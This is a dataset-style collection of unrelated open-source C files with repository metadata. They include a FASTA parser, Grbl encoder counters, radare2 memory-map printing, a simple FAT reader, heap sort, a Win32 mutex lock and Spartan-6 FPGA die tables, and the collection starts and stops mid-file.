sort_table->entries[pred_table->pred_tbl.entries[i].signature[j]].name); } printf(")"); } } /* Now adding evidence atoms */ input_atom_t * atom_buffer = (input_atom_t *) safe_malloc(101 * sizeof(char *)); int32_t index; for (i = 0; i < pred_table->evpred_tbl.num_preds; i++){ atom_buffer->pred = pred_table->evpred_tbl.entries[i].name; printf("\nBuilding atom[%d]: %s(", i, atom_buffer->pred); for(j = 0; j < pred_table->evpred_tbl.entries[i].arity; j++){ index = sort_table->entries[pred_table->evpred_tbl.entries[i].signature[j]].constants[0]; buffer = const_table->entries[index].name; printf("[%d]%s,", index, buffer); atom_buffer->args[j] = buffer; } printf(")"); add_atom(&table, atom_buffer); } if (ENABLE){ for (i = 0; i < atom_table->num_vars; i++){ printf("\natom[%d] = %d(", i, atom_table->atom[i]->pred); for (j = 0; j < pred_table->evpred_tbl.entries[-atom_table->atom[i]->pred].arity; j++){ printf("%d,", atom_table->atom[i]->args[j]); } printf(")"); printf("\nassignment[%d] = %d", i, atom_table->assignment[i]); } for (i = 0; i < pred_table->evpred_tbl.num_preds; i++){ printf("\n"); for (j = 0; j < pred_table->evpred_tbl.entries[i].num_atoms; j++){ printf("%d", pred_table->evpred_tbl.entries[i].atoms[j]); } } } /* Now adding atoms */ int32_t numvars = atom_table->num_vars; for (i = 0; i < pred_table->pred_tbl.num_preds; i++){ atom_buffer->pred = pred_table->pred_tbl.entries[i].name; printf("\nBuilding atom[%d]: %s(", i, atom_buffer->pred); for(j = 0; j < pred_table->pred_tbl.entries[i].arity; j++){ index = sort_table->entries[pred_table->pred_tbl.entries[i].signature[j]].constants[0]; buffer = const_table->entries[index].name; printf("[%d]%s,", index, buffer); atom_buffer->args[j] = buffer; } printf(")"); add_atom(&table, atom_buffer); } if (ENABLE){ for (i = numvars; i < atom_table->num_vars; i++){ printf("\natom[%d] = %d(", i, atom_table->atom[i]->pred); for (j = 0; j < pred_table->pred_tbl.entries[atom_table->atom[i]->pred].arity; j++){ printf("%d,", atom_table->atom[i]->args[j]); } printf(")"); printf("\nassignment[%d] = %d", i, atom_table->assignment[i]); } for (i = 0; i < pred_table->pred_tbl.num_preds; i++){ printf("\n"); for (j = 0; j < pred_table->pred_tbl.entries[i].num_atoms; j++){ printf("%d", pred_table->pred_tbl.entries[i].atoms[j]); } } } /* * Adding clauses */ double weight = 0; j = pred_table->pred_tbl.num_preds + 1; inclause_buffer.data = (input_literal_t **) safe_malloc(j * sizeof(input_literal_t *)); inclause_buffer.size = j; for (i = 0; i < j; i++){ inclause_buffer.data[i] = NULL; } bool negate = false; for (i = 0; i < pred_table->pred_tbl.num_preds-1; i++){ inclause_buffer.data[i] = (input_literal_t *) safe_malloc(sizeof(input_literal_t) + i*sizeof(char *)); /// inclause_buffer.data[i]->neg = !inclause_buffer.data[i]->neg; // ??? inclause_buffer.data[i]->neg = negate; negate = !negate; inclause_buffer.data[i]->atom.pred = pred_table->pred_tbl.entries[i+1].name; for (j = 0; j < i; j++){ index = sort_table->entries[pred_table->pred_tbl.entries[i+1].signature[j]].constants[0]; inclause_buffer.data[i]->atom.args[j] = const_table->entries[index].name; } weight += .25; add_clause(&table, inclause_buffer.data, weight); } print_clauses(clause_table); print_atoms(atom_table, pred_table, const_table); return 1; }
SRI-CSL/pce
src/test_samplesat.c
C
lgpl-3.0
7,311
#include <stdio.h> #include <stdlib.h> #include <string.h> #include "fasta.h" #include "util.h" fastap fa_alloc(int maxlen) { fastap fa; fa = (fastap) malloc(sizeof(struct fasta)); fa->id = (char *) malloc(maxlen+1); fa->data = (char *) malloc(maxlen+1); fa->maxlen = maxlen; return fa; } int fa_next(fastap seq,FILE *fd) { fgets(seq->id,seq->maxlen+1,fd); if (feof(fd)) { return 0; } seq->id[0] = ' '; /* white out the ">" */ stripWhiteSpace(seq->id); /* remove blank, newline */ fgets(seq->data,seq->maxlen+1,fd); stripWhiteSpace(seq->data); /* remove newline */ return 1; } void fa_fasta(fastap seq,FILE *fd) { fprintf(fd,">%s\n%s\n",seq->id,seq->data); } void fa_fasta_trunc(fastap seq,FILE *fd,int len) { seq->data[len] = 0; fprintf(fd,">%s\n%s\n",seq->id,seq->data); } void fa_free(fastap seq) { if (seq != NULL) { free(seq->id); free(seq->data); free(seq); } } void fa_mask(fastap seq,unsigned start,unsigned length,char mask) { unsigned i; unsigned seqlen; seqlen = strlen(seq->data); if (start >= seqlen) { return; /* can't start past the end of the sequence */ } if (length == 0 || /* default: from 'start' to end of sequence */ start + length > seqlen) { /* writing past end of sequence */ length = seqlen - start; } for (i=start;i<start+length;i++) { seq->data[i] = mask; } }
gdbzork/bode_cpp
tools_legacy/src/util/fasta.c
C
lgpl-3.0
1,384
/* counters.c - code pertaining to encoders and other counting methods Part of Grbl Copyright (c) 2014 Adam Shelly Grbl is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Grbl is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Grbl. If not, see <http://www.gnu.org/licenses/>. */ #include "system.h" #include "counters.h" uint32_t alignment_debounce_timer=0; #define PROBE_DEBOUNCE_DELAY_MS 25 counters_t counters = {{0}}; // Counters pin initialization routine. void counters_init() { //encoders and feedback //TODO: move to new file #ifdef KEYME_BOARD FDBK_DDR &= ~(FDBK_MASK); // Configure as input pins FDBK_PORT |= FDBK_MASK; // Enable internal pull-up resistors. Normal high operation. //TODO test #endif counters.state = FDBK_PIN&FDBK_MASK; //record initial state counters_enable(0); //default to no encoder } void counters_enable(int enable) { if (enable) { FDBK_PCMSK |= FDBK_MASK; // Enable specific pins of the Pin Change Interrupt PCICR |= (1 << FDBK_INT); // Enable Pin Change Interrupt } else { FDBK_PCMSK &= ~FDBK_MASK; // Disable specific pins of the Pin Change Interrupt PCICR &= ~(1 << FDBK_INT); // Disable Pin Change Interrupt } } // Resets the counts for an axis void counters_reset(uint8_t axis) { counters.counts[axis]=0; if (axis == Z_AXIS) { counters.idx=0; } } // Returns the counters pin state. Triggered = true. and counters state monitor. count_t counters_get_count(uint8_t axis) { return counters.counts[axis]; } uint8_t counters_get_state(){ return counters.state; } int16_t counters_get_idx(){ return counters.idx; } int debounce(uint32_t* bounce_clock, int16_t lockout_ms) { uint32_t clock = masterclock; //allow another reading if lockout has expired // (or if clock has rolled over - otherwise we could wait forever ) if ( clock > (*bounce_clock + lockout_ms) || (clock < *bounce_clock) ) { *bounce_clock = clock; return 1; } return 0; } ISR(FDBK_INT_vect) { uint8_t state = FDBK_PIN&FDBK_MASK; uint8_t change = (state^counters.state); int8_t dir=0; //look for encoder change if (change & ((1<<Z_ENC_CHA_BIT)|(1<<Z_ENC_CHB_BIT))) { //if a or b changed counters.anew = (state>>Z_ENC_CHA_BIT)&1; dir = counters.anew^counters.bold ? 1 : -1; counters.bold = (state>>Z_ENC_CHB_BIT)&1; counters.counts[Z_AXIS] += dir; } //count encoder indexes if (change & (1<<Z_ENC_IDX_BIT)) { //idx changed uint8_t idx_on = ((state>>Z_ENC_IDX_BIT)&1); if (idx_on) { counters.idx += dir; } } //count rotary axis alignment pulses. if (change & (1<<ALIGN_SENSE_BIT)) { //sensor changed if (debounce(&alignment_debounce_timer, PROBE_DEBOUNCE_DELAY_MS)){ if (!(state&PROBE_MASK)) { //low is on. counters.counts[C_AXIS]++; } } } counters.state = state; }
ashelly/grbl
counters.c
C
lgpl-3.0
3,323
/* Copyright 2015 Infinitycoding all rights reserved This file is part of the mercury c-library. The mercury c-library is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. The mercury c-library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the mercury c-library. If not, see <http://www.gnu.org/licenses/>. */ /** * @author Michael Sippel (Universe Team) <micha@infinitycoding.de> */ #include <syscall.h> #include <sys/types.h> #include <signal.h> #include <unistd.h> sighandler_t signal(int signum, sighandler_t handler) { linux_syscall(SYS_SIGNAL, signum,(uint32_t) handler, 0, 0, 0); return handler; } int kill(pid_t pid, int sig) { return linux_syscall(SYS_KILL, pid, sig, 0, 0, 0); } int raise(int sig) { return kill(getpid(), sig); }
infinitycoding/mercury
sys/linux/I386/signal.c
C
lgpl-3.0
1,257
/* radare - LGPL - Copyright 2009-2017 - pancake */ #include <r_debug.h> #include <r_list.h> /* Print out the JSON body for memory maps in the passed map region */ static void print_debug_map_json(RDebug *dbg, RDebugMap *map, bool prefix_comma) { dbg->cb_printf ("%s{", prefix_comma ? ",": ""); if (map->name && *map->name) { char *escaped_name = r_str_escape (map->name); dbg->cb_printf ("\"name\":\"%s\",", escaped_name); free (escaped_name); } if (map->file && *map->file) { char *escaped_path = r_str_escape (map->file); dbg->cb_printf ("\"file\":\"%s\",", escaped_path); free (escaped_path); } dbg->cb_printf ("\"addr\":%" PFMT64u ",", map->addr); dbg->cb_printf ("\"addr_end\":%" PFMT64u ",", map->addr_end); dbg->cb_printf ("\"type\":\"%c\",", map->user?'u':'s'); dbg->cb_printf ("\"perm\":\"%s\"", r_str_rwx_i (map->perm)); dbg->cb_printf ("}"); } /* Write the memory map header describing the line columns */ static void print_debug_map_line_header(RDebug *dbg, const char *input) { // TODO: Write header to console based on which command is being ran } /* Write a single memory map line to the console */ static void print_debug_map_line(RDebug *dbg, RDebugMap *map, ut64 addr, const char *input) { char humansz[8]; if (input[0] == 'q') { // "dmq" char *name = (map->name && *map->name) ? r_str_newf ("%s.%s", map->name, r_str_rwx_i (map->perm)) : r_str_newf ("%08" PFMT64x ".%s", map->addr, r_str_rwx_i (map->perm)); r_name_filter (name, 0); r_num_units (humansz, sizeof (humansz), map->addr_end - map->addr); dbg->cb_printf ("0x%016" PFMT64x " - 0x%016" PFMT64x " %6s %5s %s\n", map->addr, map->addr_end, humansz, r_str_rwx_i (map->perm), name ); free (name); } else { const char *fmtstr = dbg->bits & R_SYS_BITS_64 ? "0x%016" PFMT64x " - 0x%016" PFMT64x " %c %s %6s %c %s %s %s%s%s\n" : "0x%08" PFMT64x " - 0x%08" PFMT64x " %c %s %6s %c %s %s %s%s%s\n"; const char *type = map->shared ? "sys": "usr"; const char *flagname = dbg->corebind.getName ? dbg->corebind.getName (dbg->corebind.core, map->addr) : NULL; if (!flagname) { flagname = ""; } else if (map->name) { char *filtered_name = strdup (map->name); r_name_filter (filtered_name, 0); if (!strncmp (flagname, "map.", 4) && \ !strcmp (flagname + 4, filtered_name)) { flagname = ""; } free (filtered_name); } r_num_units (humansz, sizeof (humansz), map->size); dbg->cb_printf (fmtstr, map->addr, map->addr_end, (addr >= map->addr && addr < map->addr_end) ? '*' : '-', type, humansz, map->user ? 'u' : 's', r_str_rwx_i (map->perm), map->name ? map->name : "?", map->file ? map->file : "?", *flagname ? " ; " : "", flagname ); } } R_API void r_debug_map_list(RDebug *dbg, ut64 addr, const char *input) { int i; bool notfirst = false; RListIter *iter; RDebugMap *map; if (!dbg) { return; } switch (input[0]) { case 'j': // "dmj" add JSON opening array brace dbg->cb_printf ("["); break; case '*': // "dm*" don't print a header for r2 commands output break; default: // TODO: Find a way to only print headers if output isn't being grepped print_debug_map_line_header (dbg, input); } for (i = 0; i < 2; i++) { // Iterate over dbg::maps and dbg::maps_user RList *maps = (i == 0) ? dbg->maps : dbg->maps_user; r_list_foreach (maps, iter, map) { switch (input[0]) { case 'j': // "dmj" print_debug_map_json (dbg, map, notfirst); notfirst = true; break; case '*': // "dm*" { char *name = (map->name && *map->name) ? r_str_newf ("%s.%s", map->name, r_str_rwx_i (map->perm)) : r_str_newf ("%08" PFMT64x ".%s", map->addr, r_str_rwx_i (map->perm)); r_name_filter (name, 0); dbg->cb_printf ("f map.%s 0x%08" PFMT64x " 0x%08" PFMT64x "\n", name, map->addr_end - map->addr + 1, map->addr); free (name); } break; case 'q': // "dmq" if (input[1] == '.') { // "dmq." if (addr >= map->addr && addr < map->addr_end) { print_debug_map_line (dbg, map, addr, input); } break; } print_debug_map_line (dbg, map, addr, input); break; case '.': if (addr >= map->addr && addr < map->addr_end) { print_debug_map_line (dbg, map, addr, input); } break; default: print_debug_map_line (dbg, map, addr, input); break; } } } if (input[0] == 'j') { // "dmj" add JSON closing array brace dbg->cb_printf ("]\n"); } } static int cmp(const void *a, const void *b) { RDebugMap *ma = (RDebugMap*) a; RDebugMap *mb = (RDebugMap*) b; return ma->addr - mb->addr; } /** * \brief Find the min and max addresses in an RList of maps. * \param maps RList of maps that will be searched through * \param min Pointer to a ut64 that the min will be stored in * \param max Pointer to a ut64 that the max will be stored in * \param skip How many maps to skip at the start of iteration * \param width Divisor for the return value * \return (max-min)/width * * Used to determine the min & max addresses of maps and * scale the ascii bar to the width of the terminal */ static int findMinMax(RList *maps, ut64 *min, ut64 *max, int skip, int width) { RDebugMap *map; RListIter *iter; *min = UT64_MAX; *max = 0; r_list_foreach (maps, iter, map) { if (skip > 0) { skip--; continue; } if (map->addr < *min) { *min = map->addr; } if (map->addr_end > *max) { *max = map->addr_end; } } return (*max - *min) / width; } static void print_debug_maps_ascii_art(RDebug *dbg, RList *maps, ut64 addr, int colors) { ut64 mul; // The amount of address space a single console column will represent in bar graph ut64 min = -1, max = 0; int width = r_cons_get_size (NULL) - 90; RListIter *iter; RDebugMap *map; RConsPrintablePalette *pal = &r_cons_singleton ()->context->pal; if (width < 1) { width = 30; } r_list_sort (maps, cmp); mul = findMinMax (maps, &min, &max, 0, width); ut64 last = min; if (min != -1 && mul != 0) { const char *color_prefix = ""; // Color escape code prefixed to string (address coloring) const char *color_suffix = ""; // Color escape code appended to end of string const char *fmtstr; char humansz[8]; // Holds the human formatted size string [124K] int skip = 0; // Number of maps to skip when re-calculating the minmax r_list_foreach (maps, iter, map) { r_num_units (humansz, sizeof (humansz), map->size); // Convert map size to human readable string if (colors) { color_suffix = Color_RESET; if ((map->perm & 2) && (map->perm & 1)) { // Writable & Executable color_prefix = pal->widget_sel; } else if (map->perm & 2) { // Writable color_prefix = pal->graph_false; } else if (map->perm & 1) { // Executable color_prefix = pal->graph_true; } else { color_prefix = ""; color_suffix = ""; } } else { color_prefix = ""; color_suffix = ""; } if ((map->addr - last) > UT32_MAX) { // TODO: Comment what this is for mul = findMinMax (maps, &min, &max, skip, width); // Recalculate minmax } skip++; fmtstr = dbg->bits & R_SYS_BITS_64 // Prefix formatting string (before bar) ? "map %4.8s %c %s0x%016" PFMT64x "%s |" : "map %4.8s %c %s0x%08" PFMT64x "%s |"; dbg->cb_printf (fmtstr, humansz, (addr >= map->addr && \ addr < map->addr_end) ? '*' : '-', color_prefix, map->addr, color_suffix); // * indicates map is within our current sought offset int col; for (col = 0; col < width; col++) { // Iterate over the available width/columns for bar graph ut64 pos = min + (col * mul); // Current address space to check ut64 npos = min + ((col + 1) * mul); // Next address space to check if (map->addr < npos && map->addr_end > pos) { dbg->cb_printf ("#"); // TODO: Comment what a # represents } else { dbg->cb_printf ("-"); } } fmtstr = dbg->bits & R_SYS_BITS_64 ? // Suffix formatting string (after bar) "| %s0x%016" PFMT64x "%s %s %s\n" : "| %s0x%08" PFMT64x "%s %s %s\n"; dbg->cb_printf (fmtstr, color_prefix, map->addr_end, color_suffix, r_str_rwx_i (map->perm), map->name); last = map->addr; } } } R_API void r_debug_map_list_visual(RDebug *dbg, ut64 addr, const char *input, int colors) { if (dbg) { int i; for (i = 0; i < 2; i++) { // Iterate over dbg::maps and dbg::maps_user RList *maps = (i == 0) ? dbg->maps : dbg->maps_user; if (maps) { RListIter *iter; RDebugMap *map; if (input[1] == '.') { // "dm=." Only show map overlapping current offset dbg->cb_printf ("TODO:\n"); r_list_foreach (maps, iter, map) { if (addr >= map->addr && addr < map->addr_end) { // print_debug_map_ascii_art (dbg, map); } } } else { // "dm=" Show all maps with a graph print_debug_maps_ascii_art (dbg, maps, addr, colors); } } } } } R_API RDebugMap *r_debug_map_new(char *name, ut64 addr, ut64 addr_end, int perm, int user) { RDebugMap *map; /* range could be 0k on OpenBSD, it's a honeypot */ if (!name || addr > addr_end) { eprintf ("r_debug_map_new: error (\ %" PFMT64x ">%" PFMT64x ")\n", addr, addr_end); return NULL; } map = R_NEW0 (RDebugMap); if (!map) { return NULL; } map->name = strdup (name); map->addr = addr; map->addr_end = addr_end; map->size = addr_end-addr; map->perm = perm; map->user = user; return map; } R_API RList *r_debug_modules_list(RDebug *dbg) { return (dbg && dbg->h && dbg->h->modules_get)? dbg->h->modules_get (dbg): NULL; } R_API int r_debug_map_sync(RDebug *dbg) { bool ret = false; if (dbg && dbg->h && dbg->h->map_get) { RList *newmaps = dbg->h->map_get (dbg); if (newmaps) { r_list_free (dbg->maps); dbg->maps = newmaps; ret = true; } } return (int)ret; } R_API RDebugMap* r_debug_map_alloc(RDebug *dbg, ut64 addr, int size) { RDebugMap *map = NULL; if (dbg && dbg->h && dbg->h->map_alloc) { map = dbg->h->map_alloc (dbg, addr, size); } return map; } R_API int r_debug_map_dealloc(RDebug *dbg, RDebugMap *map) { bool ret = false; ut64 addr = map->addr; if (dbg && dbg->h && dbg->h->map_dealloc) { if (dbg->h->map_dealloc (dbg, addr, map->size)) { ret = true; } } return (int)ret; } R_API RDebugMap *r_debug_map_get(RDebug *dbg, ut64 addr) { RDebugMap *map, *ret = NULL; RListIter *iter; r_list_foreach (dbg->maps, iter, map) { if (addr >= map->addr && addr <= map->addr_end) { ret = map; break; } } return ret; } R_API void r_debug_map_free(RDebugMap *map) { free (map->name); free (map); } R_API RList *r_debug_map_list_new() { RList *list = r_list_new (); if (!list) { return NULL; } list->free = (RListFree)r_debug_map_free; return list; }
skuater/radare2
libr/debug/map.c
C
lgpl-3.0
10,722
// Created file "Lib\src\Uuid\X64\guids" typedef struct _GUID { unsigned long Data1; unsigned short Data2; unsigned short Data3; unsigned char Data4[8]; } GUID; #define DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \ extern const GUID name = { l, w1, w2, { b1, b2, b3, b4, b5, b6, b7, b8 } } DEFINE_GUID(PKEY_Photo_FocalPlaneYResolutionDenominator, 0x1d6179a6, 0xa876, 0x4031, 0xb0, 0x13, 0x33, 0x47, 0xb2, 0xb6, 0x4d, 0xc8);
Frankie-PellesC/fSDK
Lib/src/Uuid/X64/guids00000549.c
C
lgpl-3.0
477
#include "fat.h" #include "disk.h" #include "malloc.h" void read_fs(struct fat_fs *b) { read_sector((unsigned char *) &(b->bpb), 0, 0); b->total_sectors = b->bpb.n_sectors; b->fat_size = b->bpb.spf; b->root_size = ((b->bpb.n_dirents * 32) + (b->bpb.bps - 1)) / b->bpb.bps; b->first_data = b->bpb.n_hidden + (b->bpb.n_fats * b->fat_size) + b->root_size; b->first_fat = b->bpb.n_hidden; b->total_data = b->total_sectors - (b->bpb.n_hidden + (b->bpb.n_fats * b->fat_size) + b->root_size); b->total_clusters = b->total_data / b->bpb.spc; } struct fat_dirent *read_root_directory(struct fat_fs *b) { struct fat_dirent *r = malloc(sizeof(struct fat_dirent) * b->bpb.n_dirents); unsigned char *data = (unsigned char *) r; unsigned int sector = b->first_data - b->root_size + 1; unsigned int i; for(i = 0; i < b->root_size; i++) read_sector(data + (i * 512), 0, sector + i); return r; } void parse_filename(char fname[11], char name[9], char ext[4]) { int i; for(i = 0; i < 8; i++) { name[i] = fname[i]; if(fname[i] == ' ') { name[i] = 0; break; } } for(i = 0; i < 3; i++) ext[i] = fname[i + 8]; name[8] = ext[3] = 0; } unsigned int sector_from_fat(struct fat_fs *b, unsigned short fat_offset) { unsigned char *fat = malloc(b->fat_size * b->bpb.bps); unsigned short cluster; unsigned int r; cluster = fat[fat_offset]; cluster |= fat[fat_offset + 1]; if(cluster >= 0xFFF8) r = -1; else r = cluster * b->bpb.spc; free(fat); return r; }
Firewiz/fireOS
fat.c
C
unlicense
1,548
#include<stdio.h> void heap_sort(int[], int); void build_max_heap(int[], int); void max_heapify(int[],int,int); void swap(int*, int*); void display(int[],int); int main(){ int n = 11; int a[] = {55,3,2,5,77,44,65,53,88,31,9}; display(a,n); heap_sort(a,n); display(a,n); return 0; } void heap_sort(int a[], int n){ int i; int heap_size = n; build_max_heap(a,n); for(i = n-1; i > 0; i--){ swap(&a[0], &a[i]); heap_size--; max_heapify(a,0,heap_size); } } void build_max_heap(int a[], int n){ int i; int loop = (n-1)/2; for(i = loop; i >= 0; i--){ max_heapify(a,i,n); } } void max_heapify(int a[], int i, int heap_size){ int left = 2*i + 1; int right = 2*i + 2; int largest; if(left < heap_size && a[left] > a[i]){ largest = left; } else{ largest = i; } if((right < heap_size) && (a[right] > a[largest])){ largest = right; } if(largest != i){ swap(&a[largest], &a[i]); max_heapify(a, largest, heap_size); } } void swap(int *a,int *b){ int temp; temp = *a; *a = *b; *b = temp; } void display(int a[],int n){ int i; printf("\n"); for(i = 0;i<n;i++){ printf("%d\t",a[i]); } }
miansari/sorting-programs-in-C
heapsort.c
C
unlicense
1,129
// vi: nu:noai:ts=4:sw=4 // // c_defs // // Created by bob on 1/14/19. // /* This is free and unencumbered software released into the public domain. Anyone is free to copy, modify, publish, use, compile, sell, or distribute this software, either in source code form or as a compiled binary, for any purpose, commercial or non-commercial, and by any means. In jurisdictions that recognize copyright laws, the author or authors of this software dedicate any and all copyright interest in the software to the public domain. We make this dedication for the benefit of the public at large and to the detriment of our heirs and successors. We intend this dedication to be an overt act of relinquishment in perpetuity of all present and future rights to this software under copyright law. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. For more information, please refer to <http://unlicense.org/> */ #include <cmn_defs.h> #include <AStr.h> #include <CsvFile.h> #include <Path.h> #include <trace.h> #include <uuid/uuid.h> //=============================================================== // M a i n //=============================================================== int main( int argc, const char * argv[] ) { //bool fRc; uint8_t uuid[16]; uint32_t i; char *pUUID = "A63EA833-7B46-45DD-B63D-4B9446ED845A"; int iRc; uuid_t uuid2 = { 0xA6, 0x3E, 0xA8, 0x33, 0x7B, 0x46, 0x45, 0xDD, 0xB6, 0x3D, 0x4B, 0x94, 0x46, 0xED, 0x84, 0x5A }; uuid_string_t uuid2str; // Internally seems to be char [37] fprintf(stdout, "size of ptr: %d\n", (int)sizeof(long *)); fprintf(stdout, "size of long: %d\n", (int)sizeof(long)); fprintf(stdout, "size of int: %d\n", (int)sizeof(int)); fprintf(stdout, "size of short: %d\n", (int)sizeof(short)); fprintf(stdout, "size of uint64_t: %d\n", (int)sizeof(uint64_t)); fprintf(stdout, "size of uint32_t: %d\n", (int)sizeof(uint32_t)); fprintf(stdout, "size of uint16_t: %d\n", (int)sizeof(uint16_t)); // This is MacOS's way of dealing with UUIDs/GUIDs. iRc = uuid_parse(pUUID, uuid); fprintf(stdout, "parse ret=%d\n", iRc); fprintf(stdout, "%s -> ", pUUID); for (i=0; i<16; i++) { fprintf(stdout, "0x%02X, ", uuid[i]); } fprintf(stdout, "\n"); uuid_unparse(uuid, uuid2str); fprintf(stdout, "uuid: %s\n", uuid2str); uuid_unparse(uuid2, uuid2str); fprintf(stdout, "uuid2: %s\n", uuid2str); fprintf(stdout, "\n\n\n"); return 0; }
2kranki/libCmn
programs/c_defs/src/c_defs.c
C
unlicense
3,011
#ifndef REGTEST #include <threads.h> #include <windows.h> int mtx_lock(mtx_t *mtx) { DWORD myId = GetCurrentThreadId(); if(mtx->_ThreadId == (long) myId) { mtx->_NestCount++; return thrd_success; } for(;;) { LONG prev = InterlockedCompareExchange(&mtx->_ThreadId, myId, 0); if(prev == 0) return thrd_success; DWORD rv = WaitForSingleObject(mtx->_WaitEvHandle, INFINITE); if(rv != WAIT_OBJECT_0) return thrd_error; } } #endif #ifdef TEST #include "_PDCLIB_test.h" int main( void ) { return TEST_RESULTS; } #endif
cartman300/Kernel
3rdParty/PDCLib/platform/win32/functions/threads/mtx_lock.c
C
unlicense
614
// // Author: Wolfgang Spraul // // This is free and unencumbered software released into the public domain. // For details see the UNLICENSE file at the root of the source tree. // #include "model.h" #include "control.h" // for slx9 and slx9 #define NUM_ROWS 4 #define FRAMES_DATA_START 0 //#define FRAMES_DATA_LEN (NUM_ROWS*FRAMES_PER_ROW*XC6_FRAME_SIZE) #define BRAM_DATA_START FRAMES_DATA_LEN //#define BRAM_DATA_LEN (4*144*XC6_FRAME_SIZE) #define IOB_DATA_START (BRAM_DATA_START + BRAM_DATA_LEN) #define IOB_WORDS (cfg->reg[cfg->FLR_reg].int_v) // 16-bit words, for slx4 and slx9 //#define IOB_DATA_LEN (IOB_WORDS*2) #define BITS_LEN (IOB_DATA_START+IOB_DATA_LEN) const struct xc_die *xc_die_info(int idcode) { static const struct xc_die xc6slx9_info = { .idcode = XC6SLX9, .num_logical_rows = 73, .num_logical_cols = 45, .num_rows = 4, // num_logical-5/17 5=2t+1c+2b 17=8+c+8 .num_cols = 18, // num_logical-(10-1)/2 10=5l+1c+5r .num_bram_in_KB = 576, .left_wiring = /* row 3 */ "UWUWUWUW" "WWWWUUUU" \ /* row 2 */ "UUUUUUUU" "WWWWWWUU" \ /* row 1 */ "WWWUUWUU" "WUUWUUWU" \ /* row 0 */ "UWUUWUUW" "UUWWWWUU", .right_wiring = /* row 3 */ "UUWWUWUW" "WWWWUUUU" \ /* row 2 */ "UUUUUUUU" "WWWWWWUU" \ /* row 1 */ "WWWUUWUU" "WUUWUUWU" \ /* row 0 */ "UWUUWUUW" "UUWWWWUU", .major_str = "M L Bg M L D M R M Ln M L Bg M L", .num_majors = 18, .majors = { // maj_zero: 505 bytes = extra 8-bit for each minor? [0] = { XC_MAJ_ZERO, 4 }, [1] = { XC_MAJ_LEFT, 30 }, [2] = { XC_MAJ_XM | XC_MAJ_TOP_BOT_IO, 31 }, [3] = { XC_MAJ_XL | XC_MAJ_TOP_BOT_IO, 30 }, [4] = { XC_MAJ_BRAM | XC_MAJ_GCLK_SEP, 25 }, [5] = { XC_MAJ_XM | XC_MAJ_TOP_BOT_IO, 31 }, [6] = { XC_MAJ_XL | XC_MAJ_TOP_BOT_IO, 30 }, [7] = { XC_MAJ_MACC, 24 }, [8] = { XC_MAJ_XM | XC_MAJ_TOP_BOT_IO, 31 }, [9] = { XC_MAJ_CENTER | XC_MAJ_TOP_BOT_IO, 31 }, [10] = { XC_MAJ_XM | XC_MAJ_TOP_BOT_IO, 31 }, [11] = { XC_MAJ_XL, 30 }, [12] = { XC_MAJ_XM | XC_MAJ_TOP_BOT_IO, 31 }, [13] = { XC_MAJ_XL | XC_MAJ_TOP_BOT_IO, 30 }, [14] = { XC_MAJ_BRAM | XC_MAJ_GCLK_SEP, 25 }, [15] = { XC_MAJ_XM | XC_MAJ_TOP_BOT_IO, 31 }, [16] = { XC_MAJ_XL | XC_MAJ_TOP_BOT_IO, 30 }, [17] = { XC_MAJ_RIGHT, 30 }}, .num_t2_ios = 224, .t2_io = { [0] = { .pair = 1, .pos_side = 1, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 38, .type_idx = 3 }, [1] = { .pair = 1, .pos_side = 0, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 38, .type_idx = 2 }, [2] = { .pair = 2, .pos_side = 1, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 38, .type_idx = 0 }, [3] = { .pair = 2, .pos_side = 0, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 38, .type_idx = 1 }, [4] = { .pair = 3, .pos_side = 1, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 36, .type_idx = 3 }, [5] = { .pair = 3, .pos_side = 0, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 36, .type_idx = 2 }, [6] = { .pair = 12, .pos_side = 1, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 36, .type_idx = 0 }, [7] = { .pair = 12, .pos_side = 0, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 36, .type_idx = 1 }, [8] = { .pair = 13, .pos_side = 1, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 31, .type_idx = 3 }, [9] = { .pair = 13, .pos_side = 0, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 31, .type_idx = 2 }, [10] = { .pair = 14, .pos_side = 1, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 31, .type_idx = 0 }, [11] = { .pair = 14, .pos_side = 0, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 31, .type_idx = 1 }, [12] = { .pair = 23, .pos_side = 1, .bank = 2, .y = XC6_SLX9_TOTAL_TILE_ROWS - BOT_OUTER_ROW, .x = 29, 